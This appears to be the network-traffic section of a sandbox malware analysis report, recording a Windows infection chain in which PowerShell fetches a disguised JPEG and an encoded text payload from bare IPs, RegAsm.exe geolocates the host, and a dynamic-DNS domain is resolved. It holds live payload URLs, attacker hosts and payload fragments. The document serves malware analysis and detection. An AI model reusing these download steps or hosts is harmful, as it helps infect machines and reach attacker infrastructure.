Jul 27, 2024 13:33:14.818490982 CEST	49709	80	192.168.2.5	178.237.33.50

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2024 13:31:03.157716036 CEST	57620	53	192.168.2.5	1.1.1.1
Jul 27, 2024 13:31:03.284212112 CEST	53	57620	1.1.1.1	192.168.2.5
Jul 27, 2024 13:31:05.440296888 CEST	50120	53	192.168.2.5	1.1.1.1
Jul 27, 2024 13:31:05.450071096 CEST	53	50120	1.1.1.1	192.168.2.5
Jul 27, 2024 13:31:14.016772032 CEST	53736	53	192.168.2.5	1.1.1.1
Jul 27, 2024 13:31:14.106105089 CEST	53	53736	1.1.1.1	192.168.2.5
Jul 27, 2024 13:31:28.852485895 CEST	62890	53	192.168.2.5	1.1.1.1
Jul 27, 2024 13:31:29.029608965 CEST	53	62890	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 27, 2024 13:31:03.157716036 CEST	192.168.2.5	1.1.1.1	0x8100	Standard query (0)	iwarsut775laudrye2.duckdns.org	A (IP address)	IN (0x0001)	false
Jul 27, 2024 13:31:05.440296888 CEST	192.168.2.5	1.1.1.1	0xf6e8	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 13:31:14.016772032 CEST	192.168.2.5	1.1.1.1	0x4764	Standard query (0)	asociatiatraditiimaria.ro	A (IP address)	IN (0x0001)	false
Jul 27, 2024 13:31:28.852485895 CEST	192.168.2.5	1.1.1.1	0xd34f	Standard query (0)	new.quranushaiqer.org.sa	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 27, 2024 13:31:03.284212112 CEST	1.1.1.1	192.168.2.5	0x8100	No error (0)	iwarsut775laudrye2.duckdns.org	192.253.251.227	A (IP address)	IN (0x0001)	false
Jul 27, 2024 13:31:05.450071096 CEST	1.1.1.1	192.168.2.5	0xf6e8	No error (0)	geoplugin.net	178.237.33.50	A (IP address)	IN (0x0001)	false
Jul 27, 2024 13:31:09.411062956 CEST	1.1.1.1	192.168.2.5	0x5ce1	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Jul 27, 2024 13:31:09.411062956 CEST	1.1.1.1	192.168.2.5	0x5ce1	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Jul 27, 2024 13:31:14.106105089 CEST	1.1.1.1	192.168.2.5	0x4764	No error (0)	asociatiatraditiimaria.ro	93.113.54.56	A (IP address)	IN (0x0001)	false
Jul 27, 2024 13:31:29.029608965 CEST	1.1.1.1	192.168.2.5	0xd34f	No error (0)	new.quranushaiqer.org.sa	34.166.62.190	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

asociatiatraditiimaria.ro

new.quranushaiqer.org.sa

198.46.176.133

104.168.45.34

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	198.46.176.133	80	4432	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 13:30:59.260989904 CEST	79	OUT	GET /Upload/vbs.jpeg HTTP/1.1 Host: 198.46.176.133 Connection: Keep-Alive
Jul 27, 2024 13:30:59.798891068 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 11:30:59 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 10 Jul 2024 11:19:54 GMT ETag: "1d7285-61ce2d35c4b0c" Accept-Ranges: bytes Content-Length: 1929861 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 d1 52 62 f0 15 72 82 92 e1 24 33 a2 b2 d2 f1 16 43 53 c2 08 34 63 17 25 35 36 73 93 e2 26 44 83 54 74 b3 c3 18 a3 d3 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#BRbr$3CS4c%56s&DTt?~5sRM9RWhco#4q7[B6v^Tgc"TY_xWeXBX50xFs,/Qcq2lyoT^=ofRGZ>(O5ceu;XG8s!u_.?,~XW!?$[8j=>gA>jz[WX)jO:q3n3VmmPo.TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4A
Jul 27, 2024 13:30:59.798913002 CEST	1236	IN	Data Raw: 70 9b 99 a5 de dc d9 e7 e1 ce 43 2e e2 4a 8e 39 fe 78 02 c9 15 df 24 ae de 08 e7 2c 17 69 24 8e 7b 60 55 94 81 c7 4c a8 bb e3 ae 15 ce e5 07 b6 50 29 ea 0d 60 10 48 c8 01 dc 6f b8 39 7f 3d ea fd 23 e0 3b e0 36 37 b7 d7 2c 8b 66 89 a0 d8 06 67 04 Data Ascii: pC.J9x$,i${`ULP)`Ho9=#;67,fg+{NmXm2CS(+"]meHR87j(3N{d"a``QX;e0`Y8l`XLOn{eXadN(ma]pQrXpIJI:
Jul 27, 2024 13:30:59.798928022 CEST	1236	IN	Data Raw: 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a Data Ascii: cLp\`6d)$,ec)q(6>h\|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV1SGA13E0DoE~52>)X5OnFQMuQMVy#o\>5$0!\DYX`
Jul 27, 2024 13:30:59.798964977 CEST	1236	IN	Data Raw: eb 61 9b 1b 8e 59 08 20 77 ef 81 b5 2f 89 15 06 c9 2d 5c 6d c4 1f 54 e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70 Data Ascii: aY w/-\mTr7qLz2iO7ZsiA%nGR?{O\|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+ED
Jul 27, 2024 13:30:59.799156904 CEST	1236	IN	Data Raw: 57 5c 80 2a 60 74 ef 64 8b 00 03 63 8e 98 1e 82 09 cb 79 72 9a da 0d d1 1c e0 55 27 3a a2 c1 88 8d 89 24 5f e9 81 f0 fd e8 19 a5 05 a4 6e 83 fc 39 a0 a4 35 58 1f 2b c0 4b 59 a2 d2 95 f3 59 5c 16 34 0a 11 c6 66 a4 fa 8d 1b 95 0c 5e 26 fe 12 6c 30 Data Ascii: W\`tdcyrU':$_n95X+KYY\4f^&l08<KHSQ7Y3&S\p)3v'r:/>2HPscb.F$e%zIMJ.D7}##H ml6fm"7LyF
Jul 27, 2024 13:30:59.799171925 CEST	1236	IN	Data Raw: 06 4f 0b d1 be 96 3d 34 91 ab 2a 0a 56 dd 44 fc 6f df 03 c5 b9 32 29 42 6c d7 5a ba c1 4e ab b5 4a a6 c2 a2 98 ef 27 77 c6 b3 d1 ff 00 f0 c7 fd a9 48 d4 a9 80 9b 60 45 30 1f 0c 3e a7 c1 f4 d0 68 e6 54 49 5c b0 f4 95 50 cc be d5 df ae 07 8f 50 c6 Data Ascii: O=4*VDo2)BlZNJ'wH`E0>hTI\PP@"c4J22)Fpc,i^Hm4q`w12>8miUnq`f7m(/=EDZ}=>G7'BfHH8iV;B?{<i3nYvb}<
Jul 27, 2024 13:30:59.799185991 CEST	1236	IN	Data Raw: 0d 34 6e c8 f4 ec 25 2c 79 da 45 d0 fc ab 03 61 20 d3 6d dd b1 16 bd 94 56 56 5d 3e 92 65 37 1a 5d 75 0b 99 9a 6d 43 a4 c1 0e 9a c9 dc 4b 95 da c3 9e e7 f8 b1 d9 4b ad 3a 00 3e 7d 30 31 fc 69 61 85 16 38 c2 07 2d b8 ed 51 d2 b1 3d 0a 22 d3 b9 a2 Data Ascii: 4n%,yEa mVV]>e7]umCKK:>}01ia8-Q="O_!;jzEcn'J]h0T5xr]UCK)\Foi2(3++GE/&8eU[:dW)V?L(D(E7,h$`c}f )nsgS
Jul 27, 2024 13:30:59.799300909 CEST	1236	IN	Data Raw: 47 2d be 6b bb a0 06 3f 04 cd 0a 82 f0 2c 8a dc 0d d8 1e b9 be da e9 18 d7 95 29 3d bd 57 94 7f b7 3a 54 50 7e eb 2b 3d 55 93 9e 6a 2d 56 9b 54 ac 53 49 12 95 34 48 26 ef 17 95 d7 cc 56 11 2f c4 73 c6 07 a8 9b ed f6 8a 14 2c 74 ce 1a ba 6e ac cb Data Ascii: G-k?,)=W:TP~+=Uj-VTSI4H&V/s,tnK MCsnk}0i>?3_cFi7AlSxtQMFzxYl``sA#~j9}$j}0=pk`ESqHx1>~M.#z_
Jul 27, 2024 13:30:59.799315929 CEST	1236	IN	Data Raw: 3a 99 d6 dd ca ee 08 39 b5 20 96 f8 90 cc 09 cc fd 27 88 be 9f 49 a9 63 23 22 95 65 76 50 3d 41 81 1b 78 17 54 4e 01 24 f0 ff 00 0e d2 6b df 67 87 4a 49 a8 80 91 1e 22 24 60 76 95 2c c7 72 fa 4f 2d 5d af a9 cf 36 f3 69 54 ca 93 c3 b9 dc ee 49 76 Data Ascii: :9 'Ic#"evP=AxTN$kgJI"$`v,rO-]6iTIv14jpIF.UbX$Yi\|QUB81k}w1"eP}0cQ!KAN=5; oVuvH[J}I#k&>$"d)v
Jul 27, 2024 13:30:59.799330950 CEST	1236	IN	Data Raw: e0 67 6d c5 09 50 73 52 24 48 68 f9 44 b3 77 1d f0 00 be 1c 8d 09 7d c4 1b e9 8e 26 91 5f 44 04 67 d4 3a 7b 93 f1 cd 08 d0 08 8b 88 5b 81 7c f7 39 63 ab 54 8e 35 8e 05 5e 79 38 19 51 46 9a 92 f1 3a 95 65 50 2c 71 cd f2 79 c1 6a 22 68 11 63 0d 61 Data Ascii: gmPsR$HhDw}&_Dg:{[\|9cT5^y8QF:eP,qyj"hca]4hv!)Q#=qr%N'IG[u{AMB<!lsR>C!6yx$XjO~k !<=o4s$,fYz,qtUx+,NG*)UeUe
Jul 27, 2024 13:30:59.803849936 CEST	1236	IN	Data Raw: 1d bc 4e 78 3c 18 cf 20 06 49 5b 6c 6b 5c 02 6e b9 f6 eb 87 9f 4d e2 6d 0f 99 0e b8 34 86 ed 55 56 af b8 07 03 40 09 37 72 48 f6 ac 29 91 c8 0c c0 0a 1c 57 7f 9e 23 e1 52 6a df 4b bf 56 de b2 68 02 a0 1f 6e d8 fb 80 c4 03 db 03 cc 78 9c 1a d8 b5 Data Ascii: Nx< I[lk\nMm4UV@7rH)W#RjKVhnxZ$T}&6FhQ&2+eEqv<G+ZGO!"=y#_o^m Pq.by/Dh-6q'@4)*}eb-G=\r(,}if,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.168.45.34	80	4432	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 13:31:01.665900946 CEST	74	OUT	GET /59/LMTS.txt HTTP/1.1 Host: 104.168.45.34 Connection: Keep-Alive
Jul 27, 2024 13:31:02.168703079 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 11:31:02 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Fri, 26 Jul 2024 06:12:52 GMT ETag: "a1000-61e2066c262fd" Accept-Ranges: bytes Content-Length: 659456 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 38 67 4b 50 49 79 44 62 38 77 45 50 73 77 44 43 37 77 2f 4f 63 76 44 73 37 51 35 4f 30 74 44 56 37 41 7a 4f 51 6f 44 37 36 77 73 4f 73 71 44 6a 36 77 6d 4f 45 70 44 4b 36 41 68 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 4f 67 4f 44 4e 7a 41 6a 4d 6b 4b 44 6f 79 51 6f 4d 41 4b 44 66 79 41 6e 4d 59 4a 44 53 79 67 6a 4d 6f 49 44 47 78 67 65 4d 59 48 44 31 78 41 64 4d 4d 48 44 79 78 51 63 4d 41 48 44 76 78 67 62 4d 73 47 44 71 78 51 61 4d 67 47 44 6e 78 67 5a 4d 55 47 44 6b 78 77 59 4d 49 47 44 65 78 51 58 4d 77 42 41 41 41 77 49 41 48 41 42 41 41 41 67 50 6b 36 44 6b 2b 67 6f 50 30 35 44 62 2b 51 6d 50 63 35 44 57 2b 41 6c 50 38 34 44 4e 2b 41 69 50 59 34 44 45 2b 67 67 50 45 34 44 41 39 77 66 50 34 33 44 38 39 77 65 50 6b 33 44 30 39 67 63 50 30 32 44 72 39 51 61 50 63 32 44 65 39 41 [TRUNCATED] Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8gKPIyDb8wEPswDC7w/OcvDs7Q5O0tDV7AzOQoD76wsOsqDj6wmOEpDK6AhOIoDB6AQO8nD+5QfOgODNzAjMkKDoyQoMAKDfyAnMYJDSygjMoIDGxgeMYHD1xAdMMHDyxQcMAHDvxgbMsGDqxQaMgGDnxgZMUGDkxwYMIGDexQXMwBAAAwIAHABAAAgPk6Dk+goP05Db+QmPc5DW+AlP84DN+AiPY4DE+ggPE4DA9wfP43D89wePk3D09gcP02Dr9QaPc2De9AXPo1DZ9gUPo0DJ9gAPozDy8gKPIyDa8gEPowDC7g+OIvDq7g4OotDS7gyOIoD66gsOoqDi6gmOIpDK6QiOIkD65gcOomDi5wWOolDY5AUOgkDA4AOOAjDo4AIOghDQ4ACOEcD+3g9N4eDm3g3NYdDO3ghN4bD52wtNYbD02gsNAbDv2ApNIaDf2glNIZDR2giNkYDD2ggNAUD51AeNYXDp1gZN4VDb1AUNsUDJ1ASNcUDF1wQNEQD80gONkTD40gNNQTDy0QLNsSDm0AJNMSDi0AIN4RDc0wFNURDU0gENARDO0QDNYQDFzw/MsPDuzA7MkODlzA2MYNDTzwzMIMDAyQvMkLDsygqMcKDjyglMQJDRyQjMAED+xweMcHDqxAaMUGDhxAVMIFDPxwCM4DD8wQOMcDD1wAKMYCDjwQIM8BDSwAEM0ADLwQCAAEAkAYA4AAAA/A/Po/D3/w8PY+Dk/Q4P09DQ/gzPs8DH/wgP47Dt+wqPg6Dk+AoPs5DK+AiPU4DB9AdPInDe5AWOYlDV5AVOAlDP5wSOUkDD5gQOEkDA4wPO4jD64QOOUjDv4QLOwiDr4
Jul 27, 2024 13:31:02.168751955 CEST	1236	IN	Data Raw: 67 4b 4f 6b 69 44 6f 34 41 4a 4f 4d 69 44 66 34 51 47 4f 63 68 44 57 34 51 46 4f 51 68 44 54 34 77 44 4f 34 67 44 4b 34 41 42 4f 49 67 44 42 34 41 77 4e 38 66 44 2b 33 67 2b 4e 6b 66 44 31 33 77 37 4e 30 65 44 73 33 77 36 4e 63 65 44 6d 33 67 34 Data Ascii: gKOkiDo4AJOMiDf4QGOchDW4QFOQhDT4wDO4gDK4ABOIgDB4AwN8fD+3g+NkfD13w7N0eDs3w6NceDm3g4NEeDd3w1NUdDU3A0NocDI3wxNYcDF3QgNsbD62AtNIbDx2AsN8aDu2gqNkaDl2wnN0ZDc2AmNcZDT2QjNsYDK2QiNUYDE2AQNoXD41wdNYXD11QcNAXDs1gZNQWDj1gYNEWDd1AXNgVDS1AUN8UDO1gSNkUDF0wPN
Jul 27, 2024 13:31:02.168787003 CEST	1236	IN	Data Raw: 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44 6e 37 51 35 4f 4d 75 44 68 37 77 33 4f 30 74 44 62 37 51 32 4f 63 74 44 Data Ascii: xDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj5QYO8lDd
Jul 27, 2024 13:31:02.168829918 CEST	1236	IN	Data Raw: 77 77 4f 49 41 41 41 41 41 4f 41 46 41 4f 41 41 41 41 4e 55 53 44 6b 30 77 49 4e 49 53 44 68 30 41 49 4e 38 52 44 65 30 51 48 4e 77 52 44 62 30 67 47 4e 6b 52 44 59 30 77 46 4e 59 52 44 55 30 77 45 4e 49 52 44 52 30 41 45 4e 38 51 44 4e 30 67 43 Data Ascii: wwOIAAAAAOAFAOAAAANUSDk0wINISDh0AIN8RDe0QHNwRDb0gGNkRDY0wFNYRDU0wENIRDR0AEN8QDN0gCNkQDI0wBNYQDF0ABNMQDB0AwM8PD+zQ/MwPD7zg+MgPD2AAAAcBQBQDgOsrD66QuOgrD36gtOUrD06wsOIrDx6AsO8qDu6QrOwqDr6gqOkqDo6wpOYqDl6ApOMqDi6QoOAqDf6gnO0pDc6wmOopDZ6AmOcpDW6QlO
Jul 27, 2024 13:31:02.168941975 CEST	896	IN	Data Raw: 79 44 6a 38 51 49 50 38 78 44 64 38 77 47 50 6b 78 44 58 38 51 46 50 4d 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44 Data Ascii: yDj8QIP8xDd8wGPkxDX8QFPMxDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv
Jul 27, 2024 13:31:02.168975115 CEST	1236	IN	Data Raw: 59 44 48 32 67 68 4e 55 59 44 45 32 77 67 4e 49 55 44 2f 31 67 66 4e 30 58 44 38 31 77 65 4e 6f 58 44 35 31 41 65 4e 63 58 44 32 31 51 64 4e 51 58 44 7a 31 67 63 4e 45 58 44 77 31 77 62 4e 34 57 44 74 31 41 62 4e 73 57 44 71 31 51 61 4e 67 57 44 Data Ascii: YDH2ghNUYDE2wgNIUD/1gfN0XD81weNoXD51AeNcXD21QdNQXDz1gcNEXDw1wbN4WDt1AbNsWDq1QaNgWDn1gZNUWDk1wYNIWDh1AYN8VDe1QXNwVDb1gWNkVDY1wVNYVDV1AVNMVDS1QUNAVDP1gTN0UDM1wSNoUDJ1ASNcUDG1QRNQUDD1gQNEQD/AAQAwBQBQCQMsFjYxgVMOFDRxoTMwEjJxwRMSEDCw4PM0Dj6wAOMWDDz
Jul 27, 2024 13:31:02.169008017 CEST	1236	IN	Data Raw: 41 57 4e 4f 56 44 50 31 6f 53 4e 59 51 44 31 30 41 4d 4e 77 52 54 61 30 34 43 4e 59 4d 6a 35 7a 6f 39 4d 72 4f 6a 6e 7a 41 32 4d 2f 4d 54 4e 7a 49 69 4d 34 4c 7a 37 79 67 75 4d 6d 4b 7a 6e 79 55 6d 4d 50 4a 44 4f 79 45 6a 4d 49 49 44 41 78 4d 65 Data Ascii: AWNOVDP1oSNYQD10AMNwRTa04CNYMj5zo9MrOjnzA2M/MTNzIiM4Lz7yguMmKznyUmMPJDOyEjMIIDAxMeMVHjxxYYMsBAAAwHAFAAA/Q1Pm4T++cuPP7jx+kUPC2za94VPR1DR9MAP2zz78gOPhzDZ8kFP7wDF7I/OHvzk782OgtjV78kOypjH4gHOScDV3Y0NzczK30hNWbTy2UrNjazO1kdNgUDG1oAN5TD70EONhSDj0gHN
Jul 27, 2024 13:31:02.169040918 CEST	1236	IN	Data Raw: 50 54 38 7a 63 2b 4d 67 50 54 30 7a 73 38 4d 45 50 54 75 79 30 6a 4d 79 45 6a 30 78 6f 58 4d 30 46 6a 62 78 73 56 4d 4e 46 54 52 78 34 53 4d 6b 45 54 47 78 4d 52 4d 4f 41 54 36 77 41 4f 4d 38 43 44 74 77 55 48 4d 74 42 44 4c 77 45 43 41 41 41 41 Data Ascii: PT8zc+MgPT0zs8MEPTuy0jMyEj0xoXM0FjbxsVMNFTRx4SMkETGxMRMOAT6wAOM8CDtwUHMtBDLwECAAAAnAQAkAAAA/48PI/TY/k1PL9zQ/ozPx8TK/EyPZ8jD+wvP07D6+AuPX7jz+YsP+6jt+4qPh6Tl+0oPP5zI9cfPQ3jy9QcP+2jt9IbPn2Dm9wYP71zb90VP50jK9wBP6zT98APPczT08wLPvyDp8UHPXxjU80EPCxjJ
Jul 27, 2024 13:31:02.169074059 CEST	1236	IN	Data Raw: 4d 49 4e 39 52 7a 64 30 30 47 4e 5a 51 54 42 7a 38 2f 4d 74 50 54 72 7a 49 35 4d 41 4f 7a 62 7a 59 32 4d 63 4e 44 56 7a 49 6b 4d 36 4c 54 38 79 38 74 4d 59 4c 6a 62 79 30 6c 4d 59 4a 44 54 79 63 6b 4d 30 49 44 4b 79 45 69 4d 4b 45 44 39 78 34 64 Data Ascii: MIN9Rzd00GNZQTBz8/MtPTrzI5MAOzbzY2McNDVzIkM6LT8y8tMYLjby0lMYJDTyckM0IDKyEiMKED9x4dMPHznxgWMSBjHAAAA0CABwAAAA8T7/I+PH/zo/c4P15zT+EjPT0jz8QOPXzzx8oLPCsjw7A7OjuDm7Q3OEtzN70hOyqjc48MO6aTv2wVNSXDi1MXNZQjxzkrMbLDuygYM3BAAAgFAEACA7MxNFfDq3YlNwXD21sBN
Jul 27, 2024 13:31:02.169109106 CEST	1236	IN	Data Raw: 77 44 49 38 73 78 4f 57 76 44 67 37 77 33 4f 34 74 44 64 37 38 32 4f 6f 74 54 4d 35 4d 59 4f 31 6c 7a 56 35 51 6b 4e 73 61 44 71 32 51 71 4e 67 61 7a 6d 32 59 6c 4e 41 55 44 2f 31 67 66 4e 30 58 7a 37 31 67 65 4e 78 53 7a 41 7a 55 2f 4d 58 50 44 Data Ascii: wDI8sxOWvDg7w3O4tDd782OotTM5MYO1lzV5QkNsaDq2QqNgazm2YlNAUD/1gfN0Xz71geNxSzAzU/MXPDxzcgMELjvy4qMFKDXyYjMUIjDyAQM7HT9x8eMpHD5x4dMYHj0x0cMHHTwxsbM2GDsxoaMkGznxkZMTGTjxgYMCGDfxYXMxFzaxUWMfFjWxQVMOFDSxMUM9EzNxETMsEjJxASMaETFx8QMJEzAw4PM4Dj8wwOMnDT4
Jul 27, 2024 13:31:02.175251961 CEST	1236	IN	Data Raw: 77 73 4d 47 4c 54 75 78 4d 65 4d 5a 48 7a 7a 78 55 63 4d 37 47 54 74 41 41 51 41 6b 41 77 41 41 42 67 50 4c 32 44 35 39 6b 45 50 6f 79 54 46 37 49 6f 4f 76 72 6a 58 34 4d 48 4f 68 68 7a 53 34 51 78 4e 32 66 7a 32 33 63 37 4e 67 65 7a 67 33 73 48 Data Ascii: wsMGLTuxMeMZHzzxUcM7GTtAAQAkAwAABgPL2D59kEPoyTF7IoOvrjX4MHOhhzS4QxN2fz23c7Ngezg3sHAAAALAMAMA4z7+otPF7TbzU6MWBAAAQBADACAyAoMwBAAAwAADABA+UpP/5Ta+wCAAAAEAMAAAAAAwwLMtCDnw4HMvBAAAQBACAPAAAwNofzx3U7NmeDgAAAAUAgAQDwMjOjdAAAAMAgAADwOysjJ7ggOjrDz6sWO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	178.237.33.50	80	5684	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 13:31:05.460515022 CEST	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Jul 27, 2024 13:31:06.094608068 CEST	1170	IN	HTTP/1.1 200 OK date: Sat, 27 Jul 2024 11:31:05 GMT server: Apache content-length: 962 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f [TRUNCATED] Data Ascii: { "geoplugin_request":"8.46.123.33", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	93.113.54.56	443	7244	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-27 11:31:14 UTC	189	OUT	GET /os/transportment.pfm HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: asociatiatraditiimaria.ro Connection: Keep-Alive
